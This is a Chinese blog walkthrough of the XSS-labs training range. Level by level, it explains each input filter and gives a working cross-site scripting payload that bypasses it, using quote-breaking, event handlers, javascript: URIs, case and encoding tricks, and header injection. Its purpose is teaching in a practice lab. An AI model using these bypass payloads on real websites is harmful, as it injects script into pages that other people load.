XSS-labs


大佬总结的xss的原理

1.level1

输入 < script>alert<\script>就通过了,这道题应该是反射型的xss,数据到了后端再回到浏览器

在这里插入图片描述
为什么能够运行?
GET输入了name的参数,然后 PHP 会读取该参数,如果不为空,则直接打印出来,这里不存在任何过滤。也就是说,如果参数中存在 HTML 结构性的内容,打印之后会直接解释为 HTML 元素。
常见的xss攻击方法
html< script>标签
该标签常常用于引入js脚本
用法:
1.< script type="脚本的MIME类型>内容</ script>
2.< script type="脚本的MIME类型 src=“外部脚本语言地址”></ script>
3.< script>内容</ script>

2.leve2

在这里插入图片描述
htmlspecialchars()函数可以将特殊字符转义后输出于是我们的脚本就不能再用第一种了,不能执行了

htmlspecialchars默认配置是不过滤单引号的

所以可以使用单引号来绕过:
预定义的字符是:

& (和号)成为 & 默认
" (双引号)成为 "
’ (单引号)成为 ’
< (小于)成为 < 默认
> (大于)成为 > 默认

它的语法如下:
htmlspecialchars(string,flags,character-set,double_encode)
其中第二个参数flags需要重要注意,很多开发者就是因为没有注意到这个参数导致使用htmlspecialchars()函数过滤XSS时被绕过。因为flags参数对于引号的编码如下:

可用的引号类型:
ENT_COMPAT - 默认。
ENT_QUOTES - 编码双引号和单引号。
ENT_NOQUOTES - 不编码任何引号。

这里使用了这个函数,但是在input标签哪里没有对str参数进行转义,因此我们可以用"闭合input标签绕过

"><script>alert('xss')</script>

3.leve3

在这里插入图片描述

看到input那里是’ “” ’ 这种我们可以闭合单引号来绕过:
在这里插入图片描述
而两次的htmlspecialchars函数就把<>给转义掉了,因此换一种方法:
1.'οnclick='alert(/xss/) 点击输入框就会触发
2.'οnmοuseοver='alert(/xss/) 鼠标移动到输入框触发
在这里插入图片描述

4.leve4

去掉了
可以看到过滤了<>,以及使用了htmlspecialchars
使用双引号绕过:
"οnclick="alert(/xss/)

5.leve5

在这里插入图片描述
可以看到过滤了<script,<scr_ipt,on,o_n:
payload:
">< a href=‘javascript:alert(/xss/)’>
在这里插入图片描述
href 属性的值可以是任何有效文档的相对或绝对 URL,包括片段标识符和 JavaScript 代码段

6.leve6

可以看到过滤了很多
在这里插入图片描述
但是替换之前没有转换大小写,因此可以用大小写绕过
payload:
">< Script>alert(/xss/)</ Script>
"><img Src=“1.jpg” Onerror=“alert(/xss/)”
在这里插入图片描述
在这里插入图片描述
插入一个不存在的图片,然后调用onerror

7.leve7

在这里插入图片描述
这一关不能进行大小写的绕过了,发现只是匹配了一次字符,因此可以使用双写绕过

payload:

”oonnclick=“alert(/xss/)

8.leve8

这道题考察了javascript伪协议
尝试输入JavaScript:alert(/xss/)发现不行
对这段代码进行Unicode编码:

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#47;&#120;&#115;&#115;&#47;&#41;

成功通过
在这里插入图片描述
分析源代码,发现参数输入后将其替换成了,小写(strtolower函数),过滤了script,on,scr,data,href,”
编码绕过的方法

9.level9

在这里插入图片描述
可以看到过滤策略还是跟8是一样的
在这里插入图片描述
strpos() 函数查找字符串在另一字符串中第一次出现的位置。
可以看到我们输入的代码必须包含这个,payload:

javascrip&#116;:alert(/xss/)//http://123.com

这里只编码了t使得代码更加简洁易懂

10.leve10

在这里插入图片描述
可以看到要我们传入两个参数,其中第二个才有操作空间,过滤了<>,以及转义了特殊字符

t_sort="type="text" onclick="alert(/xss/)"

那么传入后的整体代码就应该是:

value="'" type = "text" onclick="alert(/xss/)" "type="hidden"

11.level11

这道题的注入点在refer:
在这里插入图片描述
就可以注入了,type=’text‘的作用是让其出现一个文本框,方便点击

12.level12

在这里插入图片描述
这道题的注入点在user-agent与10和11没有区别

13.level13

注入点在cookie:
在这里插入图片描述

14.level14

15.level15

ng-include
在这里插入图片描述
可以看到ng-include中有src,而这道题的注入点就是在这个地方
在这里插入图片描述
payload:

?src='level1.php?name=<img src=1 onerror=alert(1)>'

因为str被转义了所以直接输入注入代码是没用的,而这道题采用了本地包含的模式包含了level1的内容然后再由img标签传递src,还不是很懂,看网上说这个相当于include函数

16.level16

在这里插入图片描述
查看元素发现有个img标签可以修改,然后就过了。。。

正常应该的做法:
可以看到,过滤了很多
在这里插入图片描述
payload:

?keyword=<img%0asrc="1"%0aonerror=alert('xss')>

17.level17

在这里插入图片描述
可以看到使用了embed标签,同时那两个参数都没有用什么特殊符号包裹起来

embed的语法格式:<embed 属性1=“属性值1” 属性2=“属性值2”……>

这样我们就可以尝试在任意一个属性后面拼接 οnmοuseοver=alert(/xss/)
payload:

?arg01=a" onmouseover=alert(1)&arg02=b

18.level18

同17一样

19.level19

后面再来。。。。搞不懂了

XSS-labs是一个用于学习和测试跨站脚本攻击(XSS)的平台。根据引用\[1\],在学习了XSS的基础知识并完成了一些简单的XSS测试后,可以开始攻略XSS-labs。不过需要注意的是,对于XSS-labs,我们只需大致了解一些思路即可,因为在实际的应用中,很少会有这种复杂的情况,但在CTF比赛中可能会更常见。 根据引用\[2\],XSS-labs的安装和下载可以通过相关的渗透测试平台或者从官方网站获取。安装完成后,可以开始进行XSS攻击的实践。 在XSS-labs中,可以通过构造特定的payload来触发XSS漏洞。根据引用\[2\]和\[3\]的示例,可以使用ng-include或者src参数来构造包含XSS漏洞的URL。例如,可以构造一个类似于以下的payload来触发XSS漏洞: src='level1.php?name=<a type="text" href="javascript:alert(1)">' 或者 127.0.0.1/xss-labs/level15.php?src='level1.php?name=<a href="javascript:alert(/xss/)">' 通过构造合适的payload,可以利用XSS-labs平台进行XSS攻击的实践和学习。请注意,在实际应用中,XSS攻击是违法行为,请遵守法律法规并仅在合法授权的情况下进行安全测试。 #### 引用[.reference_title] - *1* *2* [渗透学习-靶场篇-XSS-labs(持续更新中)](https://blog.csdn.net/qq_43696276/article/details/127024861)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [xss-labs搭建及通关攻略](https://blog.csdn.net/K_ShenH/article/details/122765092)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值